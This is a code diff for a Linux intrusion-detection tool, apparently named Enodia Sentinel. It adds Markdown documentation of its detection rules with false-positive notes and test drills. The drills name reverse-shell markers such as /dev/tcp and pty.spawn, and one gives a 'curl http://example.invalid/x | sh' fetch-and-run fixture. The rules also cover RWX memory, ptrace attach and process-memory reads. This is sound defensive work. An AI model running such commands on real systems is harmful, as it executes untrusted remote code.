Generate event rule documentation

enodia_sentinel/ruleops.py

@@ -40,6 +40,51 @@ def find_rule(cfg: Config, sid: int) -> dict[str, Any] | None:
     return None
 
 
+def render_markdown(cfg: Config) -> str:
+    """Render active event-rule metadata as operator documentation."""
+    lines = [
+        "# Enodia Sentinel Event Rule Reference",
+        "",
+        "Generated from the active exec/syscall rule defaults plus any configured "
+        "`exec_rules_file` entries.",
+        "",
+        "Use `enodia-sentinel rules list/show/test` to inspect rules and validate "
+        "event fixtures locally.",
+        "",
+    ]
+    for rule in list_rules(cfg):
+        doc = _RULE_DOCS.get(rule["sid"], {})
+        lines.extend([
+            f"## SID {rule['sid']}: {rule['msg']}",
+            "",
+            f"- Event: `{rule['event']}`",
+            f"- Signature: `{rule['signature']}`",
+            f"- Classtype: `{rule['classtype']}`",
+            f"- Severity: `{rule['severity']}`",
+            f"- Origin: `{rule['origin']}`",
+            "",
+            "Match fields:",
+        ])
+        conditions = rule.get("conditions", {})
+        if conditions:
+            for key, value in conditions.items():
+                lines.append(f"- `{key}`: {_format_condition(value)}")
+        else:
+            lines.append("- none")
+        lines.extend([
+            "",
+            "Expected false positives:",
+        ])
+        for fp in doc.get("false_positives", _default_false_positives(rule)):
+            lines.append(f"- {fp}")
+        lines.extend([
+            "",
+            f"Drill or fixture: {doc.get('drill', _default_drill(rule))}",
+            "",
+        ])
+    return "\n".join(lines).rstrip() + "\n"
+
+
 def load_event_json(path: str) -> dict[str, Any]:
     if path == "-":
         import sys
@@ -96,6 +141,105 @@ def _syscall_rule_record(rule: SyscallRule, origin: str) -> dict[str, Any]:
     }
 
 
+_RULE_DOCS: dict[int, dict[str, Any]] = {
+    100001: {
+        "false_positives": [
+            "Temporary build or installer helpers intentionally executed from `/tmp`, `/var/tmp`, or `/dev/shm`.",
+            "One-shot administrative diagnostics copied into a writable directory.",
+        ],
+        "drill": "`sentinel-redteam ebpf_exec` fires a short-lived writable-path execution event when the eBPF exec monitor is enabled.",
+    },
+    100002: {
+        "false_positives": [
+            "Security training labs or safe self-tests that intentionally include reverse-shell command text.",
+            "Benign scripts containing literal `/dev/tcp` or `pty.spawn` examples in their argv.",
+        ],
+        "drill": "`sentinel-redteam ebpf_exec` emits a `/dev/tcp` argv fixture; `rules test` can validate a captured exec JSON event offline.",
+    },
+    100003: {
+        "false_positives": [
+            "Legitimate web applications invoking maintenance scripts through shell wrappers.",
+            "Database or web service containers whose entrypoint intentionally spawns an interpreter.",
+        ],
+        "drill": "Use `rules test` with an exec event whose `parent_comm` is a web/database service and whose `filename` is an interpreter.",
+    },
+    100004: {
+        "false_positives": [
+            "Bootstrap scripts that intentionally pipe downloaded install content into a shell.",
+            "Developer setup tooling run interactively during provisioning.",
+        ],
+        "drill": "Use `rules test` with argv like `curl http://example.invalid/x | sh`.",
+    },
+    100060: {
+        "false_positives": [
+            "JIT runtimes or emulators that make pages writable and executable.",
+            "Security tooling that deliberately tests W^X policy.",
+        ],
+        "drill": "Use `rules test` with syscall `mprotect` and `args[2]` containing write+exec permissions, for example `0x6`.",
+    },
+    100061: {
+        "false_positives": [
+            "JIT runtimes, emulators, or language VMs that allocate RWX memory.",
+            "Compatibility layers that request executable writable mappings.",
+        ],
+        "drill": "Use `rules test` with syscall `mmap` and `args[2]` containing write+exec permissions.",
+    },
+    100062: {
+        "false_positives": [
+            "Browsers, sandbox helpers, and runtimes that legitimately use anonymous memfd files.",
+            "Container or IPC frameworks using memfd as a transport primitive.",
+        ],
+        "drill": "Use `rules test` with syscall `memfd_create`; include `text` to document the captured name.",
+    },
+    100063: {
+        "false_positives": [
+            "Debuggers, profilers, crash handlers, and endpoint tooling that attach to processes.",
+            "Developer sessions running `strace`, `gdb`, or similar tracing tools.",
+        ],
+        "drill": "Use `rules test` with syscall `ptrace` and request `16` (`PTRACE_ATTACH`) or `0x4206` (`PTRACE_SEIZE`).",
+    },
+    100064: {
+        "false_positives": [
+            "Browsers, container runtimes, and sandboxed services enabling seccomp as normal hardening.",
+            "Security test harnesses validating seccomp policy.",
+        ],
+        "drill": "Use `rules test` with syscall `seccomp`, or syscall `prctl` with `arg0` set to `22` (`PR_SET_SECCOMP`).",
+    },
+    100065: {
+        "false_positives": [
+            "Debuggers, profilers, memory scanners, and EDR tools inspecting another process.",
+            "Backup or checkpoint tooling that reads process memory intentionally.",
+        ],
+        "drill": "Use `rules test` with syscall `process_vm_readv` or `process_vm_writev`.",
+    },
+    100066: {
+        "false_positives": [
+            "Databases, crypto agents, and credential stores locking sensitive memory.",
+            "Realtime or performance-sensitive services using `mlock` intentionally.",
+        ],
+        "drill": "Use `rules test` with syscall `mlock`, `mlock2`, or `mlockall`.",
+    },
+}
+
+
+def _format_condition(value: Any) -> str:
+    if isinstance(value, list):
+        return ", ".join(f"`{v}`" for v in value) or "`[]`"
+    return f"`{value}`"
+
+
+def _default_false_positives(rule: dict[str, Any]) -> list[str]:
+    if rule.get("origin") == "configured":
+        return ["Operator supplied rule; document expected benign matches beside the TOML rule."]
+    return ["No documented benign case yet; validate with `rules test` before tuning."]
+
+
+def _default_drill(rule: dict[str, Any]) -> str:
+    if rule.get("origin") == "configured":
+        return "Use `enodia-sentinel rules test <event-json>` with a fixture that should match the configured rule."
+    return "Use `enodia-sentinel rules test <event-json>` with a representative fixture."
+
+
 def _event_kind(event: dict[str, Any]) -> str:
     explicit = str(event.get("event") or event.get("type") or "").lower()
     if explicit in {"exec", "execve"}: